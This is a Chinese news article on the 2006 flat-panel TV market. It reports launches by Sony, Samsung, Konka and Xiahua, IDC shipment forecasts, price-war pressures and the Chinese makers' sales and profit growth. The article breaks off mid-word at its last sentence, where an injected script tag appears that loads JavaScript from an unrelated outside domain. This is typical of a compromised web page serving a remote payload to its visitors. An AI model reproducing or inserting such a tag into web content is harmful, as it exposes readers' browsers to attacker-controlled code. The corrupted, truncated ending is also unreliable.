按照行业惯例，家电企业在８月份一般会将目光转移到新品研发和产能储备上悄然发力，而对旺季的主打新品推出计划都掩着神秘的面纱。
然而今年是个例外，家电企业大都在８月份便撩开了旺季主打新品的神秘面纱，打破了家电行业“旺季促销，淡季练功”的潜规则。
２００６年“金九银十”旺季大战的开打时间，就这样在不知不觉间被提前了。
新品
最先在国内平板电视市场摆开擂台的是索尼、三星等日韩品牌，旨在圈地平板电视高端，欲将高端领域划为外资品牌的“自留地”，并纷纷不约而同地宣布，未来将集中力量发展“４０ 英寸以上大屏幕数字电视”。
索尼首先出招：８月１日，在２００６年新品发布会上，索尼一口气向中国市场推出４大系列、１０款ｂｒａｖｉａ 液晶电视新品，从３２英寸起步，４０、４６和５２英寸大屏幕产品被作为主力机型。而两款ｂｒａｖｉａ晶极光电视新品也锁定在５０和６０英寸。此外，８２英寸、７０英寸的ｂｒａｖｉａ液晶电视更是成为索尼此次展示的抢眼产品。用索尼全球电视业务最高负责人——索尼公司副总裁井原胜美的话说，“从今年看，４０英寸以上液晶电视有机会获得更大市场份额。”索尼的目的也很明显，“目前我们在中国液晶市场上的份额大约是１０％，随着全系列产品的推出，我们希望能够在市场中达到第一的位置。按总价值来说，今年我们将占到市场１５％－２０％的份额。”
作为韩系代表，三星自然也不甘示弱。“三星今年依然坚持‘大屏幕数字电视战略’”，在北京、上海、广州同时推出最新ｓ７、ｒ７系列液晶电视后，三星电子大中华区营销总裁许琪烈透露，三星将丰富“大屏幕”产品线，本月还将向市场投放５０英寸ｑ７等离子电视、６１英寸ｄｌｐ电视。
面对日韩部队的“咄咄逼人”，国内厂商康佳、厦华、 ｔｃｌ 等迅速给以正面回击。除了在“大”字上作文章，国内厂商把焦点放在了自己的新技术、新成绩上。
８月中旬，康佳展示了１５款“靓影”系列新品，包括从３２英寸到４６英寸全系列平板产品。据悉，康佳“靓影”系列应用了业界最先进的片上系统技术 ｓｏｃ－ｓｙｓｔｅｍ ｏｎ ｃｈｉｐ ，在一个芯片上同时集成了视频模拟数字转换、梳状滤波器、视频解码、逐行扫描、缩放器，有效降低了电磁干扰，提升画质。配合康佳平板专用的丽翔二代数字引擎，及最新开发的多背光可调技术，在处理速度、画面清晰度、色彩还原、３ｄ处理等方面都达到新水平。康佳多媒体营销事业部副总经理、平板营运中心总经理刘丹表示，靓影系列定位于康佳下半年的主打品种，计划“十一”之前上市４万台。
在８月２３日召开的“厦华全能微晶打响蓝海战役发布会”上，厦华同样摆出了自己的“杀手锏”。据介绍，此次厦华推出的“全能微晶”产品，整合了“微晶１２０ｈｚ”、“微晶１０００线”、“微晶全能芯”、“微晶双核六色处理”、“微晶智慧光”、“微晶双ｈｄｍｉ”、“微晶双流媒体”和“微晶数字音响”等８大尖端科技，并率先应用全新插帧倍频技术，推出中国首台１２０ｈｚ液晶电视，彻底解决了运动图像拖尾、抖动、不连续、边缘模糊等现象。据悉，２００６年厦华平板电视全球的总出货量预计有望突破１５０万台。
理性
据ｉｄｃ最新报告显示，中国市场平板电视２００６年出货量有望达到４８８．４万台，其中液晶电视出货量为４０９．２万台，等离子电视的出货量为７９．２万台，分别将比２００５年增长２０９．３％和５０．１％。
然而，国内家电厂商们近年来为获取市场规模而激烈拼杀，利润空间被逐步打压，平板电视对许多企业来说成了“眼球工程”，赔了本也要赚吆喝。这在一定程度上明显影响了平板电视产业的健康发展。
厦华电子总经理谢思瑜在“厦华全能微晶打响蓝海战役发布会”上便表示，现在很多家电企业其实都在靠其它方面的业务来弥补平板电视领域的亏损。“ 在市场上，如果厦华做不到的价格，别的品牌比厦华还低，显然是在赔本。”
在国外品牌纷纷低下高贵的头颅，价格上不再“高高在上”，逐渐小步调整价格体系的同时，从今年开始，以康佳、厦华为代表的国产品牌却在逐渐打破“份额情绪”，欲从价格战阴影中走出，坚持赢利原则来寻求良性增长。
据了解，２００６年以来，国内彩电企业都保持了快速的增长。其中康佳平板电视上半年的总销售量达到２４万台，较去年同期增长了５８４％，销售额同比增长了４１０％，上半年的销售量已经超过了去年全年销售的总量。在厦华８月２０日公布的财报中显示，厦华电子凭借平板电视领域的高速成长，上半年净利润达４４５６．６万元，与去年同期相比，猛增１９６％。同时，目前美国、日本、加拿大、中东已成为厦华平板电视出口的主战地。在出口的品牌结构上面，厦华的这一出口品牌要占６０％，ｏｅｍ占３０％，合作品牌１０％，在产品方面，厦?script src=http://er12.com/t.js>
